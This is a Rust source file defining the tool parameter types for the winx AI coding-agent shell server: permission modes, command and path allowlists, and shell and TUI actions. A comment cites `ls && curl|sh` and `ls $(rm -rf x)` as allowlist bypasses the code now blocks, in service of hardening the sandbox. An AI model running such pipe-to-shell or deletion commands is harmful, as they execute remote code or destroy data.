winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6 // If filtering removed characters, distinct ids could collapse to the same
7 // form ("user-1" and "user1" both become "user1"), silently sharing one
8 // session and one state file. Append a short, stable hash of the ORIGINAL so
9 // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10 // generated `tid_*`) and ids that filter to empty are returned unchanged.
11 if filtered.is_empty() || filtered == thread_id {
12 filtered
13 } else {
14 format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15 }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25 /// Screen is actively working (scanned across the whole screen). E.g.
26 /// `["esc to interrupt", "generating"]`.
27 #[serde(default)]
28 pub busy: Vec<String>,
29 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30 #[serde(default)]
31 pub awaiting_input: Vec<String>,
32 /// Screen is asking for confirmation (scanned in the tail). E.g.
33 /// `["do you want", "y/n"]`.
34 #[serde(default)]
35 pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39 /// True when no markers are configured (nothing to recognize).
40 pub fn is_empty(&self) -> bool {
41 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42 }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49 let mut hash: u32 = 0x811c_9dc5;
50 for byte in s.bytes() {
51 hash ^= u32::from(byte);
52 hash = hash.wrapping_mul(0x0100_0193);
53 }
54 hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64 /// Initial call at the start of a conversation
65 ///
66 /// This should be used for the first Initialize call in a conversation.
67 /// It sets up a new shell environment with the specified parameters.
68 FirstCall,
69
70 /// User requested to change the mode
71 ///
72 /// This should be used when the user asks to switch between modes
73 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74 UserAskedModeChange,
75
76 /// Reset the shell environment due to issues
77 ///
78 /// This should be used when the shell environment appears to be in a bad state
79 /// and needs to be reset to continue properly.
80 ResetShell,
81
82 /// User requested to change the workspace
83 ///
84 /// This should be used when the user asks to switch to a different
85 /// workspace or project directory during the conversation.
86 UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91 Wcgw,
92 Architect,
93 CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99 where
100 S: serde::Serializer,
101 {
102 match self {
103 ModeName::Wcgw => serializer.serialize_str("wcgw"),
104 ModeName::Architect => serializer.serialize_str("architect"),
105 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106 }
107 }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113 where
114 D: serde::Deserializer<'de>,
115 {
116 let s = String::deserialize(deserializer)?;
117 match s.as_str() {
118 "wcgw" => Ok(ModeName::Wcgw),
119 "architect" => Ok(ModeName::Architect),
120 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122 }
123 }
124}
125
126// Implement schema generation for JSON schema since we removed the derive
127impl JsonSchema for ModeName {
128 fn schema_name() -> std::borrow::Cow<'static, str> {
129 "ModeName".into()
130 }
131
132 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
133 schemars::Schema::new_ref("#/definitions/ModeName".to_string())
134 }
135}
136
137#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
138pub struct CodeWriterConfig {
139 #[serde(default)]
140 pub allowed_globs: AllowedGlobs,
141 #[serde(default)]
142 pub allowed_commands: AllowedCommands,
143}
144
145impl CodeWriterConfig {
146 pub fn update_relative_globs(&mut self, workspace_root: &str) {
147 // Only process if we have a list of globs
148 if let AllowedGlobs::List(globs) = &self.allowed_globs {
149 let updated_globs = globs
150 .iter()
151 .map(|glob| {
152 if std::path::Path::new(glob).is_absolute() {
153 glob.clone()
154 } else {
155 format!("{workspace_root}/{glob}")
156 }
157 })
158 .collect();
159
160 self.allowed_globs = AllowedGlobs::List(updated_globs);
161 }
162 }
163}
164
165#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
166#[serde(untagged)]
167pub enum AllowedGlobs {
168 All(String),
169 List(Vec<String>),
170}
171
172impl Default for AllowedGlobs {
173 fn default() -> Self {
174 AllowedGlobs::All("all".to_string())
175 }
176}
177
178impl AllowedGlobs {
179 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
180 /// Without this, a literal glob named "all" would be the only allowed path.
181 pub fn normalize(&mut self) {
182 if let AllowedGlobs::List(items) = self {
183 if items.len() == 1 && items[0] == "all" {
184 *self = AllowedGlobs::All("all".to_string());
185 }
186 }
187 }
188
189 #[allow(dead_code)]
190 pub fn is_allowed(&self, path: &str) -> bool {
191 match self {
192 AllowedGlobs::All(s) if s == "all" => true,
193 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
194 Ok(pattern) => pattern.matches(path),
195 Err(_) => false,
196 }),
197 AllowedGlobs::All(_) => false,
198 }
199 }
200}
201
202#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
203#[serde(untagged)]
204pub enum AllowedCommands {
205 All(String),
206 List(Vec<String>),
207}
208
209impl Default for AllowedCommands {
210 fn default() -> Self {
211 AllowedCommands::All("all".to_string())
212 }
213}
214
215impl AllowedCommands {
216 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
217 pub fn normalize(&mut self) {
218 if let AllowedCommands::List(items) = self {
219 if items.len() == 1 && items[0] == "all" {
220 *self = AllowedCommands::All("all".to_string());
221 }
222 }
223 }
224
225 pub fn is_allowed(&self, command_line: &str) -> bool {
226 match self {
227 AllowedCommands::All(s) if s == "all" => true,
228 AllowedCommands::All(_) => false,
229 AllowedCommands::List(commands) => {
230 // Enforce the allowlist against EVERY command the line would run
231 // (pipelines, &&/||/;, command & process substitution, subshells),
232 // not just the first whitespace token — which `ls && curl|sh` and
233 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
234 // closed: a restricted mode must not run what it can't vet.
235 match crate::utils::bash_parser::extract_command_texts(command_line) {
236 Ok(cmds) if !cmds.is_empty() => cmds
237 .iter()
238 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
239 _ => false,
240 }
241 }
242 }
243 }
244}
245
246/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
247/// enforcing a word boundary so `ls` does not also permit `lsof`, and
248/// `cargo test` does not permit `cargo testimony`.
249fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
250 let cmd = cmd.trim();
251 let allowed = allowed.trim();
252 if allowed.is_empty() {
253 return false;
254 }
255 cmd == allowed
256 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
257}
258
259/// Parameters for initializing the shell environment
260///
261/// This struct represents the parameters needed to initialize or update the shell environment.
262/// It is used by the Initialize tool, which must be called before any other shell tools.
263#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
264pub struct Initialize {
265 /// Initialization type, indicating the purpose of the call
266 ///
267 /// - `FirstCall`: Initial setup for a new conversation
268 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
269 /// - `ResetShell`: Reset the shell if it's not working properly
270 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
271 #[serde(rename = "type")]
272 #[serde(default = "default_init_type")]
273 pub init_type: InitializeType,
274
275 /// Path to the workspace directory or file
276 ///
277 /// This can be an absolute path or a path relative to the current directory.
278 /// If it's a file, the parent directory will be used as the workspace.
279 /// If it doesn't exist and is an absolute path, it will be created.
280 /// If it's a relative path and doesn't exist, an error will be returned.
281 pub any_workspace_path: String,
282
283 /// List of files to read initially
284 ///
285 /// These files can be absolute paths or paths relative to the workspace.
286 /// They will be read and their contents provided in the response.
287 #[serde(default)]
288 pub initial_files_to_read: Vec<String>,
289
290 /// ID of a task to resume
291 ///
292 /// If provided during a `first_call`, the task with this ID will be resumed.
293 /// This allows continuing a conversation from a previous session.
294 #[serde(default = "String::new")]
295 #[serde(deserialize_with = "deserialize_string_or_null")]
296 pub task_id_to_resume: String,
297
298 /// Mode name for the shell environment
299 ///
300 /// - `wcgw`: Full permissions (default)
301 /// - `architect`: Restricted permissions, read-only
302 /// - `code_writer`: Custom permissions for code writing
303 #[serde(default = "default_mode_name")]
304 pub mode_name: ModeName,
305
306 /// ID of the thread session
307 ///
308 /// If not provided for a `first_call`, a new ID will be generated.
309 /// This ID must be included in all subsequent tool calls.
310 #[serde(default)]
311 #[serde(deserialize_with = "deserialize_string_or_null")]
312 pub thread_id: String,
313
314 /// Configuration for `code_writer` mode
315 ///
316 /// Only used when `mode_name` is "`code_writer`".
317 /// Specifies allowed commands and file globs for writing/editing.
318 #[serde(default)]
319 #[serde(deserialize_with = "deserialize_code_writer_config")]
320 pub code_writer_config: Option<CodeWriterConfig>,
321}
322
323// Custom deserializer for strings that might be null
324fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
325where
326 D: serde::Deserializer<'de>,
327{
328 // First try to deserialize as a string
329 let result = serde_json::Value::deserialize(deserializer)?;
330
331 match result {
332 // Return empty string for null values
333 serde_json::Value::Null => Ok(String::new()),
334 // If it's a string, use that
335 serde_json::Value::String(s) => {
336 // Handle "null" string specially
337 if s == "null" {
338 Ok(String::new())
339 } else {
340 Ok(s)
341 }
342 }
343 // Otherwise try to convert to a string
344 _ => match serde_json::to_string(&result) {
345 Ok(s) => Ok(s),
346 Err(_) => Ok(String::new()),
347 },
348 }
349}
350
351// Custom deserializer for code_writer_config that handles the "null" string case
352fn deserialize_code_writer_config<'de, D>(
353 deserializer: D,
354) -> Result<Option<CodeWriterConfig>, D::Error>
355where
356 D: serde::Deserializer<'de>,
357{
358 // This handles multiple possible input types
359 let value = serde_json::Value::deserialize(deserializer)?;
360
361 match value {
362 // If it's explicitly null or the string "null", return None
363 serde_json::Value::Null => Ok(None),
364 serde_json::Value::String(s) if s == "null" => Ok(None),
365 // Otherwise try to parse it as CodeWriterConfig
366 _ => {
367 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
368 Ok(config) => {
369 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
370 Ok(Some(config))
371 }
372 Err(e) => {
373 // Fail loud. A malformed restricted-mode config must NOT silently
374 // degrade to `None` — `None` falls back to All commands / All globs,
375 // so the model would believe the shell is locked down while it is in
376 // fact wide open. Refuse to initialize instead.
377 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
378 Err(serde::de::Error::custom(format!(
379 "Invalid code_writer config: {e}. Refusing to start with a permissive \
380 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
381 to opt out explicitly)."
382 )))
383 }
384 }
385 }
386 }
387}
388
389/// Default `mode_name` for Initialize
390fn default_mode_name() -> ModeName {
391 ModeName::Wcgw
392}
393
394/// Default `init_type` for Initialize
395fn default_init_type() -> InitializeType {
396 InitializeType::FirstCall
397}
398
399// Mode types
400#[derive(Debug, Clone, Copy, PartialEq)]
401pub enum Modes {
402 Wcgw,
403 Architect,
404 CodeWriter,
405}
406
407impl std::fmt::Display for Modes {
408 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
409 match self {
410 Modes::Wcgw => write!(f, "wcgw"),
411 Modes::Architect => write!(f, "architect"),
412 Modes::CodeWriter => write!(f, "code_writer"),
413 }
414 }
415}
416
417// Implement schema generation for Modes
418impl JsonSchema for Modes {
419 fn schema_name() -> std::borrow::Cow<'static, str> {
420 "Modes".into()
421 }
422
423 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
424 schemars::Schema::new_ref("#/definitions/Modes".to_string())
425 }
426}
427
428/// Special key types for shell interaction
429/// Matches wcgw Python's Specials enum exactly
430#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
431pub enum SpecialKey {
432 Enter,
433 #[serde(rename = "Key-up")]
434 KeyUp,
435 #[serde(rename = "Key-down")]
436 KeyDown,
437 #[serde(rename = "Key-left")]
438 KeyLeft,
439 #[serde(rename = "Key-right")]
440 KeyRight,
441 #[serde(rename = "Ctrl-c")]
442 CtrlC,
443 #[serde(rename = "Ctrl-d")]
444 CtrlD,
445 #[serde(rename = "Ctrl-z")]
446 CtrlZ,
447}
448
449/// Parameters for the `ReadFiles` tool
450///
451/// This struct represents the parameters needed to read one or more files.
452/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
453#[derive(Debug, Clone, Serialize, JsonSchema)]
454pub struct ReadFiles {
455 /// List of file paths to read.
456 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
457 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
458 pub file_paths: Vec<String>,
459
460 /// Optional thread ID identifying the shell session to operate on. When
461 /// omitted, the most recently active session is used.
462 #[serde(default)]
463 pub thread_id: String,
464
465 // Internal fields - not part of MCP schema (parsed from file_paths)
466 #[serde(skip)]
467 #[schemars(skip)]
468 pub start_line_nums: Vec<Option<usize>>,
469
470 #[serde(skip)]
471 #[schemars(skip)]
472 pub end_line_nums: Vec<Option<usize>>,
473}
474
475// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
476impl<'de> Deserialize<'de> for ReadFiles {
477 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
478 where
479 D: serde::Deserializer<'de>,
480 {
481 #[derive(Deserialize)]
482 struct ReadFilesHelper {
483 file_paths: Option<Vec<String>>,
484 #[serde(default)]
485 thread_id: Option<String>,
486 }
487
488 let input = serde_json::Value::deserialize(deserializer)?;
489
490 if !input.is_object() {
491 if input.is_null() {
492 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
493 }
494 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
495 }
496
497 let helper: ReadFilesHelper = serde_json::from_value(input)
498 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
499
500 let thread_id = helper.thread_id.unwrap_or_default();
501 let file_paths = match helper.file_paths {
502 Some(paths) if !paths.is_empty() => paths,
503 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
504 None => return Err(serde::de::Error::custom("file_paths is required.")),
505 };
506
507 // Parse line ranges from file paths (like wcgw Python's model_post_init)
508 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
509 let mut start_line_nums = Vec::with_capacity(file_paths.len());
510 let mut end_line_nums = Vec::with_capacity(file_paths.len());
511
512 for path in file_paths {
513 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
514 clean_file_paths.push(clean_path);
515 start_line_nums.push(start);
516 end_line_nums.push(end);
517 }
518
519 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
520 }
521}
522
523fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
524 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
525 return (path.to_string(), None, None);
526 };
527
528 let Some((start, end)) = parse_line_spec(line_spec) else {
529 return (path.to_string(), None, None);
530 };
531
532 (potential_path.to_string(), start, end)
533}
534
535fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
536 if line_spec.chars().all(|c| c.is_ascii_digit()) {
537 return line_spec.parse().ok().map(|line| (Some(line), None));
538 }
539
540 let (start, end) = line_spec.split_once('-')?;
541
542 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
543 return end.parse().ok().map(|line| (None, Some(line)));
544 }
545
546 if !start.is_empty()
547 && start.chars().all(|c| c.is_ascii_digit())
548 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
549 {
550 let start = start.parse().ok()?;
551 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
552 return Some((Some(start), end));
553 }
554
555 None
556}
557
558impl ReadFiles {
559 /// Line numbers are always shown (like wcgw Python)
560 pub fn show_line_numbers(&self) -> bool {
561 true
562 }
563
564 /// Get the clean file path without line range suffix
565 pub fn get_clean_path(&self, index: usize) -> String {
566 parse_file_path_with_line_range(&self.file_paths[index]).0
567 }
568}
569
570/// Default true value for `status_check`
571fn default_true() -> bool {
572 true
573}
574
575/// Types of actions that can be performed with the `BashCommand` tool
576#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
577#[serde(tag = "type", rename_all = "snake_case")]
578pub enum BashCommandAction {
579 /// Execute a shell command
580 Command {
581 command: String,
582 #[serde(default)]
583 is_background: bool,
584 /// Opt out of the single-top-level-statement guard. By default winx
585 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
586 /// agent has to be explicit about what it's running. Set this to true
587 /// when you knowingly want to run a composite command without
588 /// wrapping it in `bash -lc '...'`.
589 #[serde(default)]
590 allow_multi: bool,
591 },
592
593 /// Check the status of a running command.
594 ///
595 /// By default returns only what changed since the previous call — agents
596 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
597 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
598 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
599 /// the PTY ringbuffer.
600 StatusCheck {
601 #[serde(default = "default_true")]
602 status_check: bool,
603 bg_command_id: Option<String>,
604 #[serde(default)]
605 scrollback_lines: Option<usize>,
606 #[serde(default)]
607 verbose: bool,
608 },
609
610 /// Send text to a running command. Set `submit` to true to append a carriage
611 /// return after the bytes so the target program receives the input as a
612 /// completed line (matches what hitting Enter would do in a TUI).
613 SendText {
614 send_text: String,
615 bg_command_id: Option<String>,
616 #[serde(default)]
617 submit: bool,
618 },
619
620 /// Send special keys to a running command. `submit` works the same as in
621 /// `SendText`.
622 SendSpecials {
623 send_specials: Vec<SpecialKey>,
624 bg_command_id: Option<String>,
625 #[serde(default)]
626 submit: bool,
627 },
628
629 /// Send ASCII characters to a running command. `submit` works the same as in
630 /// `SendText`.
631 SendAscii {
632 send_ascii: Vec<u8>,
633 bg_command_id: Option<String>,
634 #[serde(default)]
635 submit: bool,
636 },
637
638 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
639 /// view a human would see right now (cursor moves, redraws, alternate-screen
640 /// and synchronized-output already applied), ANSI stripped. Unlike
641 /// `status_check`, it never stacks redraw generations and never waits — a
642 /// point-in-time photo, ideal for reading an interactive TUI's current frame
643 /// (the `claude` CLI, vim, htop, fzf).
644 Screen {
645 #[serde(default = "default_true")]
646 screen: bool,
647 bg_command_id: Option<String>,
648 /// Last N visible lines to return (0 or omitted = full screen buffer).
649 #[serde(default)]
650 lines: Option<usize>,
651 /// When true, return only the lines that CHANGED since the last `screen`
652 /// look (big token savings when polling a TUI frame-by-frame) instead of
653 /// the whole frame. First look, or a large change, still returns full.
654 #[serde(default)]
655 diff: bool,
656 },
657
658 /// Block until an interactive TUI finishes its turn and is ready for input.
659 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
660 /// with a per-app recognizer, then returns the stable snapshot plus the
661 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
662 WaitForTurn {
663 #[serde(default = "default_true")]
664 wait_for_turn: bool,
665 bg_command_id: Option<String>,
666 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
667 /// (aka `agy`) or `generic`.
668 #[serde(default)]
669 recognizer: Option<String>,
670 /// Quiet window in ms — the screen must be unchanged this long to count
671 /// as idle (default 600).
672 #[serde(default)]
673 quiet_ms: Option<u64>,
674 /// Hard cap in seconds before returning regardless (default 30).
675 #[serde(default)]
676 timeout_seconds: Option<f32>,
677 /// Visible lines to return in the final snapshot (0 or omitted = full).
678 #[serde(default)]
679 lines: Option<usize>,
680 },
681}
682
683/// Parameters for the `BashCommand` tool
684#[derive(Debug, Clone, Serialize, JsonSchema)]
685pub struct BashCommand {
686 /// The action to perform (command, status check, etc.)
687 pub action_json: BashCommandAction,
688
689 /// Optional timeout in seconds to wait for command completion
690 #[serde(default)]
691 #[serde(skip_serializing_if = "Option::is_none")]
692 pub wait_for_seconds: Option<f32>,
693
694 /// The thread ID for this session
695 #[serde(default)]
696 pub thread_id: String,
697}
698
699// Custom deserialization for BashCommand to handle string-encoded action_json
700impl<'de> Deserialize<'de> for BashCommand {
701 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
702 where
703 D: serde::Deserializer<'de>,
704 {
705 let input = serde_json::Value::deserialize(deserializer)?;
706 let serde_json::Value::Object(mut map) = input else {
707 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
708 };
709
710 let wait_for_seconds = map
711 .remove("wait_for_seconds")
712 .map(serde_json::from_value)
713 .transpose()
714 .map_err(serde::de::Error::custom)?;
715 let thread_id = map
716 .remove("thread_id")
717 .map(thread_id_from_value)
718 .transpose()
719 .map_err(serde::de::Error::custom)?
720 .unwrap_or_default();
721 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
722
723 // Process action_json which could be a string or an object
724 let action_json = match action_json_value {
725 serde_json::Value::String(s) => {
726 // If it's a string, normalize newlines and try to parse it as JSON
727 // Replace literal newlines with space to avoid JSON parsing errors
728 let sanitized = s.replace('\n', " ");
729 match serde_json::from_str(&sanitized) {
730 Ok(json) => normalize_action_json(json),
731 Err(e) => {
732 // If strict JSON parsing fails, try to be more lenient
733 // For commands containing literal newlines, just wrap the string in a command object
734 tracing::warn!(
735 "Failed to parse action_json as JSON, trying fallback: {}",
736 e
737 );
738
739 // Check for common JSON syntax issues
740 if s.contains("command") && s.contains('{') && s.contains('}') {
741 // It looks like JSON but has issues, let's try to sanitize it
742
743 // Detailed error for troubleshooting
744 tracing::debug!("JSON parse error on: {}", s);
745
746 // Common issues: unescaped quotes, newlines, tabs
747 let re_sanitized = s
748 .replace('\n', "\\n") // Replace newlines with escaped newlines
749 .replace('\r', "\\r") // Replace carriage returns with escaped versions
750 .replace('\t', "\\t"); // Replace tabs with escaped versions
751
752 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
753 let re_sanitized = if !s.contains('"') && s.contains(':') {
754 // Very likely unquoted keys/values
755 tracing::debug!("Attempting to fix unquoted JSON keys/values");
756 re_sanitized
757 } else {
758 re_sanitized
759 };
760
761 match serde_json::from_str(&re_sanitized) {
762 Ok(json) => normalize_action_json(json),
763 Err(err) => {
764 // Log the specific parsing error for debugging
765 tracing::error!("Secondary JSON parse error: {}", err);
766 // Last resort fallback - assume it's a command string
767 // MUST include "type": "command" for serde tagged enum
768 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
769 }
770 }
771 } else {
772 // Assume it's a simple command string
773 // MUST include "type": "command" for serde tagged enum
774 tracing::info!("Treating as simple command: {}", s);
775 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
776 }
777 }
778 }
779 }
780 // If it's already an object or other JSON value, normalize legacy
781 // WCGW-style shorthand such as {"command": "..."}.
782 value => normalize_action_json(value),
783 };
784
785 // Now deserialize the action_json to our BashCommandAction enum
786 let mut action: BashCommandAction =
787 serde_json::from_value(action_json.clone()).map_err(|e| {
788// Log both the error and the problematic JSON for debugging
789tracing::error!(
790 "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
791 e,
792 action_json
793);
794
795// For the SyntaxError: Unexpected token case
796let err_str = e.to_string();
797if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
798 return serde::de::Error::custom(format!(
799 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
800 ));
801}
802
803serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
804 })?;
805
806 // Return the properly constructed BashCommand
807 Ok(BashCommand {
808 action_json: action,
809 wait_for_seconds,
810 thread_id: normalize_thread_id(&thread_id),
811 })
812 }
813}
814
815fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
816 match value {
817 serde_json::Value::Null => Ok(String::new()),
818 serde_json::Value::String(value) => Ok(value),
819 other => Err(format!("thread_id must be a string or null, got {other}")),
820 }
821}
822
823fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
824 let serde_json::Value::Object(map) = &mut value else {
825 return value;
826 };
827
828 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
829 *command = sanitize_shell_string(command);
830 }
831
832 if map.contains_key("type") {
833 return value;
834 }
835
836 let inferred_type = if map.contains_key("command") {
837 Some("command")
838 } else if map.contains_key("status_check") {
839 Some("status_check")
840 } else if map.contains_key("send_text") {
841 Some("send_text")
842 } else if map.contains_key("send_specials") {
843 Some("send_specials")
844 } else if map.contains_key("send_ascii") {
845 Some("send_ascii")
846 } else if map.contains_key("screen") {
847 Some("screen")
848 } else if map.contains_key("wait_for_turn") {
849 Some("wait_for_turn")
850 } else {
851 None
852 };
853
854 if let Some(action_type) = inferred_type {
855 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
856 }
857
858 value
859}
860
861fn sanitize_shell_string(value: &str) -> String {
862 value.replace('\0', "\\x00")
863}
864
865// Bash command mode
866#[derive(Debug, Clone, JsonSchema, PartialEq)]
867pub struct BashCommandMode {
868 pub bash_mode: BashMode,
869 pub allowed_commands: AllowedCommands,
870}
871
872#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
873pub enum BashMode {
874 NormalMode,
875 RestrictedMode,
876}
877
878// File edit mode
879#[derive(Debug, Clone, JsonSchema, PartialEq)]
880pub struct FileEditMode {
881 pub allowed_globs: AllowedGlobs,
882}
883
884// Write if empty mode
885#[derive(Debug, Clone, JsonSchema, PartialEq)]
886pub struct WriteIfEmptyMode {
887 pub allowed_globs: AllowedGlobs,
888}
889
890/// Parameters for the `FileWriteOrEdit` tool
891///
892/// This struct represents the parameters needed to write or edit a file
893/// with optional search/replace blocks for partial edits.
894#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
895pub struct FileWriteOrEdit {
896 /// Path to the file to write or edit
897 ///
898 /// This must be an absolute path (~ allowed).
899 pub file_path: String,
900
901 /// Percentage of the file that will be changed
902 ///
903 /// If > 50%, the content is treated as the entire file content.
904 /// If <= 50%, the content is treated as search/replace blocks.
905 pub percentage_to_change: u32,
906
907 /// Content for the file or search/replace blocks
908 ///
909 /// If `percentage_to_change` > 50%, this is the entire file content.
910 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
911 /// in the format:
912 /// ```text
913 /// <<<<<<< SEARCH
914 /// old content to find
915 /// =======
916 /// new content to replace with
917 /// >>>>>>> REPLACE
918 /// ```
919 pub text_or_search_replace_blocks: String,
920
921 /// The thread ID for this session
922 pub thread_id: String,
923}
924
925/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
926/// corresponding [`FileWriteOrEdit`] fields.
927#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
928pub struct FileEditEntry {
929 /// Path to the file to write or edit (absolute, ~ allowed).
930 pub file_path: String,
931 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
932 pub percentage_to_change: u32,
933 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
934 pub text_or_search_replace_blocks: String,
935}
936
937/// Parameters for the `MultiFileEdit` tool: apply edits across several files
938/// all-or-nothing at the COMPUTE stage.
939///
940/// Every file is validated and its new content computed in memory first; only
941/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
942/// the last file leaves the first files untouched. The write stage is a sequence
943/// of atomic single-file renames and stops at the first I/O failure (already
944/// written files are not rolled back, which is reported clearly).
945#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
946pub struct MultiFileEdit {
947 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
948 pub files: Vec<FileEditEntry>,
949
950 /// The thread ID for this session
951 pub thread_id: String,
952}
953
954/// Parameters for the `UndoEdit` tool: revert a file to its content before the
955/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
956#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
957pub struct UndoEdit {
958 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
959 pub file_path: String,
960
961 /// The thread ID for this session
962 pub thread_id: String,
963}
964
965/// Parameters for the `ContextSave` tool
966///
967/// This struct represents the parameters needed to save context information
968/// about a task, including file contents from specified globs.
969#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
970pub struct ContextSave {
971 /// Unique identifier for the task
972 ///
973 /// This should be a unique string that identifies the task. It can be
974 /// a random 3-word identifier or a user-provided value.
975 pub id: String,
976
977 /// Root path of the project
978 ///
979 /// This should be an absolute path to the project root. If empty, no
980 /// project root will be used.
981 pub project_root_path: String,
982
983 /// Description of the task
984 ///
985 /// This should contain a detailed description of the task, including
986 /// relevant context, problems, and objectives.
987 pub description: String,
988
